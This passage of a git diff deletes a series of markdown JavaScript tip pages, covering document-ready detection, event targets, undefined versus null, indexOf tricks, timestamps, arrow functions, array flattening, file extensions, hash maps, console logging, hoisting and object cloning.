--   [Sets](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set)
-
-## Stack overflow
-
--   [remove duplicates from array](http://stackoverflow.com/questions/9229645/remove-duplicates-from-javascript-array/9229821#9229821)
diff --git a/docs/content/js-topics/detectdocumentreadyinpure.md b/docs/content/js-topics/detectdocumentreadyinpure.md
deleted file mode 100644
index 4c30225648..0000000000
--- a/docs/content/js-topics/detectdocumentreadyinpure.md
+++ /dev/null
@@ -1,39 +0,0 @@
-title: Detect document ready in pure JS
-tip-number: 46
-tip-username: loverajoel
-tip-username-profile: https://www.twitter.com/loverajoel
-tip-tldr: The cross-browser way to check if the document has loaded in pure JavaScript
-tip-writer-support: https://www.coinbase.com/loverajoel
-
--   /en/detect-document-ready-in-pure-js/
-
-The cross-browser way to check if the document has loaded in pure JavaScript is using [`readyState`](https://developer.mozilla.org/en-US/docs/Web/API/Document/readyState).
-
-```js
-if (document.readyState === 'complete') {
-    // The page is fully loaded
-}
-```
-
-You can detect when the document is ready...
-
-```js
-let stateCheck = setInterval(() => {
-    if (document.readyState === 'complete') {
-        clearInterval(stateCheck);
-        // document ready
-    }
-}, 100);
-```
-
-or with [onreadystatechange](https://developer.mozilla.org/en-US/docs/Web/Events/readystatechange)...
-
-```js
-document.onreadystatechange = () => {
-    if (document.readyState === 'complete') {
-        // document ready
-    }
-};
-```
-
-Use `document.readyState === 'interactive'` to detect when the DOM is ready.
diff --git a/docs/content/js-topics/differencebetweentargetandcurrentTarget.md b/docs/content/js-topics/differencebetweentargetandcurrentTarget.md
deleted file mode 100644
index 0f080ae708..0000000000
--- a/docs/content/js-topics/differencebetweentargetandcurrentTarget.md
+++ /dev/null
@@ -1,28 +0,0 @@
-title: What is the difference between Target and currentTarget in the event context?
-tip-number: 77
-tip-username: loverajoel
-tip-username-profile: https://www.twitter.com/loverajoel
-tip-tldr: target refers to the element that triggers an event. currentTarget to the element that the event listener is listening on.
-
-categories: - en - javascript
-
----
-
-`target` refers to the DOM element that triggers an event. Otherwise, `currentTarget` refers to the DOM element that the event listener is listening on.
-
-```html
-<ul class="todo-list">
-    <li class="item">Walk your dog</li>
-</ul>
-```
-
-```js
-const list = document.querySelector('.todo-list');
-
-list.addEventListener('click', (e) => {
-    console.log(e.target);
-    // Output: <li class="item">Walk your dog</li>
-    console.log(e.currentTarget);
-    // Output: <ul class="todo-list"></ul>
-});
-```
diff --git a/docs/content/js-topics/differencesbetweenundefinedand.md b/docs/content/js-topics/differencesbetweenundefinedand.md
deleted file mode 100644
index 1c38539109..0000000000
--- a/docs/content/js-topics/differencesbetweenundefinedand.md
+++ /dev/null
@@ -1,43 +0,0 @@
-title: Differences between `undefined` and `null`
-tip-number: 05
-tip-username: loverajoel
-tip-username-profile: https://github.com/loverajoel
-tip-tldr: Understanding the differences between `undefined` and `null`.
-tip-writer-support: https://www.coinbase.com/loverajoel
-
--   /en/differences-between-undefined-and-null/
-
--   `undefined` means a variable has not been declared, or has been declared but has not yet been assigned a value
--   `null` is an assignment value that means "no value"
--   Javascript sets unassigned variables with a default value of `undefined`
--   Javascript never sets a value to `null`. It is used by programmers to indicate that a `var` has no value.
--   `undefined` is not valid in JSON while `null` is
--   `undefined` typeof is `undefined`
--   `null` typeof is an `object`. [Why?](http://www.2ality.com/2013/10/typeof-null.html)
--   Both are primitives
--   Both are [falsy](https://developer.mozilla.org/en-US/docs/Glossary/Falsy)
-    (`Boolean(undefined) // false`, `Boolean(null) // false`)
--   You can know if a variable is [undefined](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined)
-
-    ```js
-    typeof variable === 'undefined';
-    ```
-
-````
-- You can check if a variable is [null](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/null)
-
-  ```js
-  variable === null
-````
-
--   The **equality** operator considers them equal, but the **identity** doesn't
-
-    ```js
-    null == undefined; // true
-
-    null === undefined; // false
-    ```
-
-```
-
-```
diff --git a/docs/content/js-topics/evensimplerwayofusingindexofasacontains.md b/docs/content/js-topics/evensimplerwayofusingindexofasacontains.md
deleted file mode 100644
index 2be4b799ae..0000000000
--- a/docs/content/js-topics/evensimplerwayofusingindexofasacontains.md
+++ /dev/null
@@ -1,74 +0,0 @@
-title: Even simpler way of using `indexOf` as a contains clause
-tip-number: 15
-tip-username: jhogoforbroke
-tip-username-profile: https://twitter.com/jhogoforbroke
-tip-tldr: JavaScript by default does not have a contains method. And for checking existence of a substring in a string or an item in an array you may do this.
-
--   /en/even-simpler-way-of-using-indexof-as-a-contains-clause/
-
-JavaScript by default does not have a contains method. And for checking existence of a substring in a string or an item in an array you may do this:
-
-```js
-var someText = 'javascript rules';
-if (someText.indexOf('javascript') !== -1) {
-}
-
-// or
-if (someText.indexOf('javascript') >= 0) {
-}
-```
-
-But let's look at these [Expressjs](https://github.com/strongloop/express) code snippets.
-
-[examples/mvc/lib/boot.js](https://github.com/strongloop/express/blob/2f8ac6726fa20ab5b4a05c112c886752868ac8ce/examples/mvc/lib/boot.js#L26)
-
-```js
-for (var key in obj) {
-  // "reserved" exports
-  if (~['name', 'prefix', 'engine', 'before'].indexOf(key)) continue;
-```
-
-[lib/utils.js](https://github.com/strongloop/express/blob/2f8ac6726fa20ab5b4a05c112c886752868ac8ce/lib/utils.js#L93)
-
-```js
-exports.normalizeType = function (type) {
-    return ~type.indexOf('/') ? acceptParams(type) : { value: mime.lookup(type), params: {} };
-};
-```
-
-[examples/web-service/index.js](https://github.com/strongloop/express/blob/2f8ac6726fa20ab5b4a05c112c886752868ac8ce/examples/web-service/index.js#L35)
-
-```js
-// key is invalid
-if (!~apiKeys.indexOf(key)) return next(error(401, 'invalid api key'));
-```
-
-The gotcha is the [bitwise operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators) **~**, "Bitwise operators perform their operations on binary representations, but they return standard JavaScript numerical values."
-
-It transforms `-1` into `0`, and `0` evaluates to `false` in JavaScript:
-
-```js
-var someText = 'text';
-!!~someText.indexOf('tex'); // someText contains "tex" - true
-!~someText.indexOf('tex'); // someText NOT contains "tex" - false
-~someText.indexOf('asd'); // someText doesn't contain "asd" - false
-~someText.indexOf('ext'); // someText contains "ext" - true
-```
-
-### String.prototype.includes()
-
-ES6 introduced the [includes() method](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/includes) and you can use it to determine whether or not a string includes another string:
-
-```js
-'something'.includes('thing'); // true
-```
-
-With ECMAScript 2016 (ES7) it is even possible to use these techniques with Arrays:
-
-```js
-!!~[1, 2, 3].indexOf(1); // true
-[1, 2, 3].includes(1); // true
-```
-
-**Unfortunately, it is only supported in Chrome, Firefox, Safari 9 or above and Edge; not IE11 or lower.**
-**It's better used in controlled environments.**
diff --git a/docs/content/js-topics/extractunixtimestampeasily.md b/docs/content/js-topics/extractunixtimestampeasily.md
deleted file mode 100644
index 6b457bd503..0000000000
--- a/docs/content/js-topics/extractunixtimestampeasily.md
+++ /dev/null
@@ -1,50 +0,0 @@
-title: Easiest way to extract unix timestamp in JS
-tip-number: 49
-tip-username: nmrony
-tip-username-profile: https://github.com/nmrony
-tip-tldr: In Javascript you can easily get the unix timestamp
-
--   /en/extract-unix-timestamp-easily/
-
-We frequently need to calculate with unix timestamp. There are several ways to grab the timestamp. For current unix timestamp easiest and fastest way is
-
-```js
-const dateTime = Date.now();
-const timestamp = Math.floor(dateTime / 1000);
-```
-
-or
-
-```js
-const dateTime = new Date().getTime();
-const timestamp = Math.floor(dateTime / 1000);
-```
-
-To get unix timestamp of a specific date pass `YYYY-MM-DD` or `YYYY-MM-DDT00:00:00Z` as parameter of `Date` constructor. For example
-
-```js
-const dateTime = new Date('2012-06-08').getTime();
-const timestamp = Math.floor(dateTime / 1000);
-```
-
-You can just add a `+` sign also when declaring a `Date` object like below
-
-```js
-const dateTime = +new Date();
-const timestamp = Math.floor(dateTime / 1000);
-```
-
-or for specific date
-
-```js
-const dateTime = +new Date('2012-06-08');
-const timestamp = Math.floor(dateTime / 1000);
-```
-
-Under the hood the runtime calls `valueOf` method of the `Date` object. Then the unary `+` operator calls `toNumber()` with that returned value. For detailed explanation please check the following links
-
--   [Date.prototype.valueOf](http://es5.github.io/#x15.9.5.8)
--   [Unary + operator](http://es5.github.io/#x11.4.6)
--   [toNumber()](http://es5.github.io/#x9.3)
--   [Date Javascript MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date)
--   [Date.parse()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/parse)
diff --git a/docs/content/js-topics/fatarrow.md b/docs/content/js-topics/fatarrow.md
deleted file mode 100644
index 7d874d1925..0000000000
--- a/docs/content/js-topics/fatarrow.md
+++ /dev/null
@@ -1,100 +0,0 @@
-title: Fat Arrow Functions
-tip-number: 14
-tip-username: pklinger
-tip-username-profile: https://github.com/pklinger/
-tip-tldr: Introduced as a new feature in ES6, fat arrow functions may come as a handy tool to write more code in fewer lines
-
--   /en/fat-arrow-functions/
-
-Introduced as a new feature in ES6, fat arrow functions may come as a handy tool to write more code in fewer lines. The name comes from its syntax, `=>`, which is a 'fat arrow', as compared to a thin arrow `->`. Some programmers might already know this type of function from different languages such as Haskell, as 'lambda expressions', or as 'anonymous functions'. It is called anonymous, as these arrow functions do not have a descriptive function name.
-
-### What are the benefits?
-
--   Syntax: fewer LOC; no more typing `function` keyword over and over again
--   Semantics: capturing the keyword `this` from the surrounding context
-
-### Simple syntax example
-
-Have a look at these two code snippets, which do the exact same job, and you will quickly understand what fat arrow functions do:
-
-```js
-// general syntax for fat arrow functions
-param => expression
-
-// may also be written with parentheses
-// parentheses are required on multiple params
-(param1 [, param2]) => expression
-
-// using functions
-var arr = [5,3,2,9,1];
-var arrFunc = arr.map(function(x) {
-  return x * x;
-});
-console.log(arr)
-
-// using fat arrow
-var arr = [5,3,2,9,1];
-var arrFunc = arr.map((x) => x*x);
-console.log(arr)
-```
-
-As you can see, the fat arrow function in this case can save you time typing out the parentheses as well as the function and return keywords. I would advise you to always write parentheses around the parameter inputs, as the parentheses will be needed for multiple input parameters, such as in `(x,y) => x+y`. It is just a way to cope with forgetting them in different use cases. But the code above would also work like this: `x => x*x`. So far, these are only syntactical improvements, which lead to fewer LOC and better readability.
-
-### Lexically binding `this`
-
-There is another good reason to use fat arrow functions. There is the issue with the context of `this`. With arrow functions, you don't need to worry about `.bind(this)` or setting `that = this` anymore, as fat arrow functions pick the context of `this` from the lexical surrounding. Have a look at the next [example] (https://jsfiddle.net/pklinger/rw94oc11/):
-
-```js
-// globally defined this.i
-this.i = 100;
-
-var counterA = new CounterA();
-var counterB = new CounterB();
-var counterC = new CounterC();
-var counterD = new CounterD();
-
-// bad example
-function CounterA() {
-    // CounterA's `this` instance (!! gets ignored here)
-    this.i = 0;
-    setInterval(function () {
-        // `this` refers to global object, not to CounterA's `this`
-        // therefore starts counting with 100, not with 0 (local this.i)
-        this.i++;
-        document.getElementById('counterA').innerHTML = this.i;
-    }, 500);
-}
-
-// manually binding that = this
-function CounterB() {
-    this.i = 0;
-    var that = this;
-    setInterval(function () {
-        that.i++;
-        document.getElementById('counterB').innerHTML = that.i;
-    }, 500);
-}
-
-// using .bind(this)
-function CounterC() {
-    this.i = 0;
-    setInterval(
-        function () {
-            this.i++;
-            document.getElementById('counterC').innerHTML = this.i;
-        }.bind(this),
-        500
-    );
-}
-
-// fat arrow function
-function CounterD() {
-    this.i = 0;
-    setInterval(() => {
-        this.i++;
-        document.getElementById('counterD').innerHTML = this.i;
-    }, 500);
-}
-```
-
-Further information about fat arrow functions may be found at [MDN] (https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions). To see different syntax options visit [this site] (http://jsrocks.org/2014/10/arrow-functions-and-their-scope/).
diff --git a/docs/content/js-topics/filteringandsortingalistofstrings.md b/docs/content/js-topics/filteringandsortingalistofstrings.md
deleted file mode 100644
index 5c27d040bd..0000000000
--- a/docs/content/js-topics/filteringandsortingalistofstrings.md
+++ /dev/null
@@ -1,237 +0,0 @@
-title: Filtering and Sorting a List of Strings
-tip-number: 26
-tip-username: davegomez
-tip-username-profile: https://github.com/davegomez
-tip-tldr: You may have a big list of names you need to filter in order to remove duplicates and sort them alphabetically.
-
-c
-
--   /en/filtering-and-sorting-a-list-of-strings/
-
-You may have a big list of names you need to filter in order to remove duplicates and sort them alphabetically.
-
-In our example we are going to use the list of **JavaScript reserved keywords** we can find across the different versions of the language, but as you can notice, there is a lot of duplicated keywords and they are not alphabetically organized. So this is a perfect list ([Array](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)) of strings to test out this JavaScript tip.
-
-```js
-var keywords = [
-    'do',
-    'if',
-    'in',
-    'for',
-    'new',
-    'try',
-    'var',
-    'case',
-    'else',
-    'enum',
-    'null',
-    'this',
-    'true',
-    'void',
-    'with',
-    'break',
-    'catch',
-    'class',
-    'const',
-    'false',
-    'super',
-    'throw',
-    'while',
-    'delete',
-    'export',
-    'import',
-    'return',
-    'switch',
-    'typeof',
-    'default',
-    'extends',
-    'finally',
-    'continue',
-    'debugger',
-    'function',
-    'do',
-    'if',
-    'in',
-    'for',
-    'int',
-    'new',
-    'try',
-    'var',
-    'byte',
-    'case',
-    'char',
-    'else',
-    'enum',
-    'goto',
-    'long',
-    'null',
-    'this',
-    'true',
-    'void',
-    'with',
-    'break',
-    'catch',
-    'class',
-    'const',
-    'false',
-    'final',
-    'float',
-    'short',
-    'super',
-    'throw',
-    'while',
-    'delete',
-    'double',
-    'export',
-    'import',
-    'native',
-    'public',
-    'return',
-    'static',
-    'switch',
-    'throws',
-    'typeof',
-    'boolean',
-    'default',
-    'extends',
-    'finally',
-    'package',
-    'private',
-    'abstract',
-    'continue',
-    'debugger',
-    'function',
-    'volatile',
-    'interface',
-    'protected',
-    'transient',
-    'implements',
-    'instanceof',
-    'synchronized',
-    'do',
-    'if',
-    'in',
-    'for',
-    'let',
-    'new',
-    'try',
-    'var',
-    'case',
-    'else',
-    'enum',
-    'eval',
-    'null',
-    'this',
-    'true',
-    'void',
-    'with',
-    'break',
-    'catch',
-    'class',
-    'const',
-    'false',
-    'super',
-    'throw',
-    'while',
-    'yield',
-    'delete',
-    'export',
-    'import',
-    'public',
-    'return',
-    'static',
-    'switch',
-    'typeof',
-    'default',
-    'extends',
-    'finally',
-    'package',
-    'private',
-    'continue',
-    'debugger',
-    'function',
-    'arguments',
-    'interface',
-    'protected',
-    'implements',
-    'instanceof',
-    'do',
-    'if',
-    'in',
-    'for',
-    'let',
-    'new',
-    'try',
-    'var',
-    'case',
-    'else',
-    'enum',
-    'eval',
-    'null',
-    'this',
-    'true',
-    'void',
-    'with',
-    'await',
-    'break',
-    'catch',
-    'class',
-    'const',
-    'false',
-    'super',
-    'throw',
-    'while',
-    'yield',
-    'delete',
-    'export',
-    'import',
-    'public',
-    'return',
-    'static',
-    'switch',
-    'typeof',
-    'default',
-    'extends',
-    'finally',
-    'package',
-    'private',
-    'continue',
-    'debugger',
-    'function',
-    'arguments',
-    'interface',
-    'protected',
-    'implements',
-    'instanceof'
-];
-```
-
-Since we don't want to change our original list, we are going to use a high order function named [`filter`](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/filter), which will return a new filter array based in a predicate (_function_) we pass to it. The predicate will compare the index of the current keyword in the original list with its `index` in the new list and will push it to the new array only if the indexes match.
-
-Finally we are going to sort the filtered list using the [`sort`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort) function which takes a comparison function as the only argument, returning a alphabetically sorted list.
-
-```js
-var filteredAndSortedKeywords = keywords
-    .filter(function (keyword, index) {
-        return keywords.lastIndexOf(keyword) === index;
-    })
-    .sort(function (a, b) {
-        return a < b ? -1 : 1;
-    });
-```
-
-The **ES6** (ECMAScript 2015) version using [arrow functions](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions) looks a little simpler:
-
-```js
-const filteredAndSortedKeywords = keywords.filter((keyword, index) => keywords.lastIndexOf(keyword) === index).sort((a, b) => (a < b ? -1 : 1));
-```
-
-And this is the final filtered and sorted list of JavaScript reserved keywords:
-
-```js
-console.log(filteredAndSortedKeywords);
-
-// ['abstract', 'arguments', 'await', 'boolean', 'break', 'byte', 'case', 'catch', 'char', 'class', 'const', 'continue', 'debugger', 'default', 'delete', 'do', 'double', 'else', 'enum', 'eval', 'export', 'extends', 'false', 'final', 'finally', 'float', 'for', 'function', 'goto', 'if', 'implements', 'import', 'in', 'instanceof', 'int', 'interface', 'let', 'long', 'native', 'new', 'null', 'package', 'private', 'protected', 'public', 'return', 'short', 'static', 'super', 'switch', 'synchronized', 'this', 'throw', 'throws', 'transient', 'true', 'try', 'typeof', 'var', 'void', 'volatile', 'while', 'with', 'yield']
-```
-
-_Thanks to [@nikshulipa](https://github.com/nikshulipa), [@kirilloid](https://twitter.com/kirilloid), [@lesterzone](https://twitter.com/lesterzone), [@tracker1](https://twitter.com/tracker1), [@manuel_del_pozo](https://twitter.com/manuel_del_pozo) for all the comments and suggestions!_
diff --git a/docs/content/js-topics/flatteningmultidimensionalarraysin.md b/docs/content/js-topics/flatteningmultidimensionalarraysin.md
deleted file mode 100644
index 9bb3d460fc..0000000000
--- a/docs/content/js-topics/flatteningmultidimensionalarraysin.md
+++ /dev/null
@@ -1,75 +0,0 @@
-title: Flattening multidimensional Arrays in JavaScript
-tip-number: 38
-tip-username: loverajoel
-tip-username-profile: https://www.twitter.com/loverajoel
-tip-tldr: Three different solutions to merge multidimensional array into a single array.
-tip-writer-support: https://www.coinbase.com/loverajoel
-
--   /en/flattening-multidimensional-arrays-in-javascript/
-
-These are the three known ways to merge multidimensional array into a single array.
-
-Given this array:
-
-```js
-var myArray = [
-    [1, 2],
-    [3, 4, 5],
-    [6, 7, 8, 9]
-];
-```
-
-We wanna have this result:
-
-```js
-[1, 2, 3, 4, 5, 6, 7, 8, 9];
-```
-
-### Solution 1: Using [`concat()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/concat) and [`apply()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply)
-
-```js
-var myNewArray = [].concat.apply([], myArray);
-// [1, 2, 3, 4, 5, 6, 7, 8, 9]
-```
-
-### Solution 2: Using [`reduce()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce#Flatten_an_array_of_arrays)
-
-```js
-var myNewArray = myArray.reduce(function (prev, curr) {
-    return prev.concat(curr);
-});
-// [1, 2, 3, 4, 5, 6, 7, 8, 9]
-```
-
-### Solution 3:
-
-```js
-var myNewArray3 = [];
-for (var i = 0; i < myArray.length; ++i) {
-    for (var j = 0; j < myArray[i].length; ++j) myNewArray3.push(myArray[i][j]);
-}
-console.log(myNewArray3);
-// [1, 2, 3, 4, 5, 6, 7, 8, 9]
-```
-
-### Solution 4: Using [spread operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator) in ES6
-
-```js
-var myNewArray4 = [].concat(...myArray);
-console.log(myNewArray4);
-// [1, 2, 3, 4, 5, 6, 7, 8, 9]
-```
-
-### Solution 5: Using [`flat()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/flat) in ES10
-
-```js
-var myNewArray5 = myArray.flat();
-console.log(myNewArray5);
-// [1, 2, 3, 4, 5, 6, 7, 8, 9]
-```
-
-Take a look [here](https://jsbin.com/janana/edit?js,console) these 4 algorithms in action.
-
-For infinitely nested array try Lodash [flattenDeep()](https://lodash.com/docs#flattenDeep).
-
-If you are curious about performance, [here](http://jsperf.com/flatten-an-array-loop-vs-reduce/6) a test for check how it works.
diff --git a/docs/content/js-topics/getfileextension.md b/docs/content/js-topics/getfileextension.md
deleted file mode 100644
index 80efd3e712..0000000000
--- a/docs/content/js-topics/getfileextension.md
+++ /dev/null
@@ -1,86 +0,0 @@
-title: Get File Extension
-tip-number: 53
-tip-username: richzw
-tip-username-profile: https://github.com/richzw
-tip-tldr: How to get the file extension more efficiently?
-
--   /en/get-file-extension/
-
-categories: - en - javascript
-
----
-
-### Question: How to get the file extension?
-
-```js
-var file1 = '50.xsl';
-var file2 = '30.doc';
-getFileExtension(file1); //returs xsl
-getFileExtension(file2); //returs doc
-
-function getFileExtension(filename) {
-    /*TODO*/
-}
-```
-
-### Solution 1: Regular Expression
-
----
-
-```js
-function getFileExtension1(filename) {
-    return /[.]/.exec(filename) ? /[^.]+$/.exec(filename)[0] : undefined;
-}
-```
-
-### Solution 2: String `split` method
-
----
-
-```js
-function getFileExtension2(filename) {
-    return filename.split('.').pop();
-}
-```
-
-Those two solutions couldnot handle some edge cases, here is another more robust solution.
-
-### Solution3: String `slice`, `lastIndexOf` methods
-
----
-
-```js
-function getFileExtension3(filename) {
-    return filename.slice(((filename.lastIndexOf('.') - 1) >>> 0) + 2);
-}
-
-console.log(getFileExtension3('')); // ''
-console.log(getFileExtension3('filename')); // ''
-console.log(getFileExtension3('filename.txt')); // 'txt'
-console.log(getFileExtension3('.hiddenfile')); // ''
-console.log(getFileExtension3('filename.with.many.dots.ext')); // 'ext'
-```
-
-_How does it works?_
-
--   [String.lastIndexOf()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/lastIndexOf) method returns the last occurrence of the specified value (`'.'` in this case). Returns `-1` if the value is not found.
--   The return values of `lastIndexOf` for parameter `'filename'` and `'.hiddenfile'` are `-1` and `0` respectively. [Zero-fill right shift operator (>>>)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#%3E%3E%3E_%28Zero-fill_right_shift%29) will transform `-1` to `4294967295` and `-2` to `4294967294`, here is one trick to insure the filename unchanged in those edge cases.
--   [String.prototype.slice()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/slice) extracts file extension from the index that was calculated above. If the index is more than the length of the filename, the result is `""`.
-
-### Comparison
-
-| Solution                                  |                                          Paramters                                          |                                Results                                |
-| ----------------------------------------- | :-----------------------------------------------------------------------------------------: | :-------------------------------------------------------------------: |
-| Solution 1: Regular Expression            | ''<br> 'filename' <br> 'filename.txt' <br> '.hiddenfile' <br> 'filename.with.many.dots.ext' | undefined <br> undefined <br> 'txt' <br> 'hiddenfile' <br> 'ext' <br> |
-| Solution 2: String `split`                | ''<br> 'filename' <br> 'filename.txt' <br> '.hiddenfile' <br> 'filename.with.many.dots.ext' |    '' <br> 'filename' <br> 'txt' <br> 'hiddenfile' <br> 'ext' <br>    |
-| Solution 3: String `slice`, `lastIndexOf` | ''<br> 'filename' <br> 'filename.txt' <br> '.hiddenfile' <br> 'filename.with.many.dots.ext' |             '' <br> '' <br> 'txt' <br> '' <br> 'ext' <br>             |
-
-### Live Demo and Performance
-
-[Here](https://jsbin.com/tipofu/edit?js,console) is the live demo of the above codes.
-
-[Here](http://jsperf.com/extract-file-extension) is the performance test of those 3 solutions.
-
-### Source
-
-[How can I get file extensions with JavaScript](http://stackoverflow.com/questions/190852/how-can-i-get-file-extensions-with-javascript)
diff --git a/docs/content/js-topics/hashmapswithoutsideeffects.md b/docs/content/js-topics/hashmapswithoutsideeffects.md
deleted file mode 100644
index ec684e9796..0000000000
--- a/docs/content/js-topics/hashmapswithoutsideeffects.md
+++ /dev/null
@@ -1,50 +0,0 @@
-title: Hash maps without side effects
-tip-number: 73
-tip-username: bhaskarmelkani
-tip-username-profile: https://www.twitter.com/bhaskarmelkani
-tip-tldr: Create hash maps(without side effects) using `Object.create(null)`.
-
-categories: - en - javascript
-
----
-
-# Hash maps without side effects
-
-When you want to use javascript object as a hash map(purely for storing data), you might want to create it as follows.
-
-```js
-const map = Object.create(null);
-```
-
-When creating a map using object literal(`const map = {}`), the map inherits properties from Object by default. It is equivalent to `Object.create(Object.prototype)`.
-
-But by doing `Object.create(null)`, we explicitly specify `null` as its prototype. So it have absolutely no properties, not even constructor, toString, hasOwnProperty, etc. so you're free to use those keys in your data structure if you need to.
-
-## Rationale:
-
-```js
-const dirtyMap = {};
-const cleanMap = Object.create(null);
-
-dirtyMap.constructor    // function Object() { [native code] }
-
-cleanMap.constructor    // undefined
-
-// Iterating maps
-
-const key;
-for(key in dirtyMap){
-  if (dirtyMap.hasOwnProperty(key)) {   // Check to avoid iterating over inherited properties.
-    console.log(key + " -> " + dirtyMap[key]);
-  }
-}
-
-for(key in cleanMap){
-  console.log(key + " -> " + cleanMap[key]);    // No need to add extra checks, as the object will always be clean
-}
-```
-
-## Notes:
-
--   Object.create() was introduced in ES5: [Compatibility](http://kangax.github.io/compat-table/es5/)
--   ES6 introduced some new structures: [Map](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Map), [WeakMap](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap), [Set](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set) and [Weak Set](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet)
diff --git a/docs/content/js-topics/helpfulconsolelog.md b/docs/content/js-topics/helpfulconsolelog.md
deleted file mode 100644
index 5b46cf6fe6..0000000000
--- a/docs/content/js-topics/helpfulconsolelog.md
+++ /dev/null
@@ -1,27 +0,0 @@
-title: Helpful Console Logging Tricks
-tip-number: 50
-tip-username: zackhall
-tip-username-profile: https://twitter.com/zthall
-tip-tldr: Helpful logging techniques using coercion and conditonal breakpoints.
-
--   /en/helpful-console-log-hacks/
-
-## Using conditional breakpoints to log data
-
-If you wanted to log to the console a value each time a function is called, you can use conditional break points to do this. Open up your dev tools, find the function where you'd like to log data to the console and set a breakpoint with the following condition:
-
-```js
-console.log(data.value) && false;
-```
-
-A conditional breakpoint pauses the page thread only if the condition for the breakpoint evaluates to true. So by using a condition like console.log('foo') && false it's guaranteed to evaluate to false since you're putting the literal false in the AND condition. So this will not pause the page thread when it's hit, but it will log data to the console. This can also be used to count how many times a function or callback is called.
-
-Here's how you can set a conditional breakpoint in [Edge](https://dev.windows.com/en-us/microsoft-edge/platform/documentation/f12-devtools-guide/debugger/#setting-and-managing-breakpoints 'Managing Breakpoints in Edge'), [Chrome](https://developer.chrome.com/devtools/docs/javascript-debugging#breakpoints 'Managing Breakpoints in Chrome'), [Firefox](https://developer.mozilla.org/en-US/docs/Tools/Debugger/How_to/Set_a_conditional_breakpoint 'Managing Breakpoints in Firefox') and [Safari](https://developer.apple.com/library/mac/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Debugger/Debugger.html 'Managing Breakpoints in Safari').
-
-## Printing a function variable to console
-
-Have you ever logged a function variable to the console and weren't able to just view the function's code? The quickest way to see the function's code is to coerce it to a string using concatenation with an empty string.
-
-```js
-console.log(funcVariable + '');
-```
diff --git a/docs/content/js-topics/hoisting.md b/docs/content/js-topics/hoisting.md
deleted file mode 100644
index 7f63e42b20..0000000000
--- a/docs/content/js-topics/hoisting.md
+++ /dev/null
@@ -1,46 +0,0 @@
-title: Hoisting
-tip-number: 11
-tip-username: squizzleflip
-tip-username-profile: https://twitter.com/squizzleflip
-tip-tldr: Understanding hoisting will help you organize your function scope.
-
-Understanding [hoisting](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var#var_hoisting) will help you organize your function scope. Just remember, variable declarations and function definitions are hoisted to the top. Variable definitions are not, even if you declare and define a variable on the same line. Also, a variable **declaration** lets the system know that the variable exists while **definition** assigns it a value.
-
----
-
-```js
-function doTheThing() {
-    // ReferenceError: notDeclared is not defined
-    console.log(notDeclared);
-
-    // Outputs: undefined
-    console.log(definedLater);
-    var definedLater;
-
-    definedLater = 'I am defined!';
-    // Outputs: 'I am defined!'
-    console.log(definedLater);
-
-    // Outputs: undefined
-    console.log(definedSimulateneously);
-    var definedSimulateneously = 'I am defined!';
-    // Outputs: 'I am defined!'
-    console.log(definedSimulateneously);
-
-    // Outputs: 'I did it!'
-    doSomethingElse();
-
-    function doSomethingElse() {
-        console.log('I did it!');
-    }
-
-    // TypeError: undefined is not a function
-    functionVar();
-
-    var functionVar = function () {
-        console.log('I did it!');
-    };
-}
-```
-
-To make things easier to read, declare all of your variables at the top of your function scope so it is clear which scope the variables are coming from. Define your variables before you need to use them. Define your functions at the bottom of your scope to keep them out of your way.
diff --git a/docs/content/js-topics/immutablestructuresandcloning.md b/docs/content/js-topics/immutablestructuresandcloning.md
deleted file mode 100644
index 2d80a7eab4..0000000000
--- a/docs/content/js-topics/immutablestructuresandcloning.md
+++ /dev/null
@@ -1,64 +0,0 @@
-title: Immutable structures and cloning
-tip-number: 78
-tip-username: loverajoel
-tip-username-profile: https://github.com/loverajoel
-tip-tldr: Object cloning is a tricky, full of edge-cases, endeavor. The reason is simple enough. Objects maintain internal state, and that is much abused. There are countless techniques, or better phrased, countless derivations of the same technique.
-
-categories: - en - javascript
-
----
-
-Object cloning is a tricky, full of edge-cases, endeavor. The reason is simple
-enough. Objects maintain internal state, and that is much abused. There are
-countless techniques, or better phrased, countless derivations of the same
-technique.
-
-Cloning an object is an indicator that your application is growing, and that
-you've got a complex object which you'd want to treat as an immutable value, i.e
-operate on it while maintaining a previous state.
-
-If the object is in your control, you're lucky. A bit of refactoring here and
-there might lead you to a point where you avoid the problem entirely by
-rethinking your object's structure and behavior.
-
-With the rediscovering of functional programming techniques, a myriad of debates
-have been held about immutable structures and how they offer exactly what you
-seek for. Mutable state is the root of all evil, some might argue.
-
-We encourage to reach **ImmutableJS** by Facebook which provides a nice set of
-immutable structures free for use. By rethinking your object's inner workings
